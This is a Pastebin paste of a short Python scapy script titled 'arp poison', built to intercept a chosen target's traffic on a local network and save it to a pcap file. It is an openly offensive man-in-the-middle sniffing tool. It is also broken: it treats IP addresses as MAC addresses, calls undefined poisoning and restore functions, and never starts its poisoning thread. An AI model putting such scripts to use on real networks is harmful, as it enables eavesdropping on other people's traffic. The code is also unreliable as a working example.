Advertisement
Guest User

arp poison

a guest
Dec 15th, 2018
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.26 KB | None | 0 0
  1. from scapy.all import *
  2. import os
  3. import sys
  4. import threading
  5. import signal
  6.  
  7. # Enter your own wifi interface
  8. interface = "TAP-Windows Adapter V9"
  9. target_ip = input("Enter target ip >> ")
  10. gateway_ip = input("Enter gateway ip >> ")
  11.  
  12. packet_count = 1000
  13.  
  14. conf.iface = interface
  15.  
  16. conf.verb = 0
  17.  
  18. print ("[*] Setting up %s" % interface)
  19.  
  20.  
  21.  
  22. gateway_mac = (gateway_ip)
  23.  
  24. if gateway_mac is None:
  25.     print("[!][!][!] Failed to get gateway Mac. Exiting.")
  26.     sys.exit(0)
  27. else:
  28.     print ("[*] gateway %s is at %s" % (gateway_ip,gateway_mac))
  29.  
  30. target_mac = (target_ip)
  31. if target_mac is None:
  32.     print ("[!!!] Failed to get target MAC. Exiting.")
  33.     sys.exit(0)
  34. else:
  35.     print ("[*] Target %s is at %s" % (target_ip,target_mac))
  36.  
  37.  
  38.  
  39. def poison_thread():
  40.     poison_thread = threading.Thread(target = poison_target, args =
  41.         (gateway_ip, gateway_mac, target_ip,target_mac))
  42.     poison_thread.start()
  43.  
  44. try:
  45.     print ("[*] Starting sniffer for %d packets" % (packet_count))
  46.  
  47.     bpf_filter = "ip host %s" % target_ip
  48.     packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
  49.  
  50.     wrpcap('arper.pcap',packets)
  51.  
  52.     restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
  53.  
  54. except KeyboardInterrupt:
  55.     restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
  56.     sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement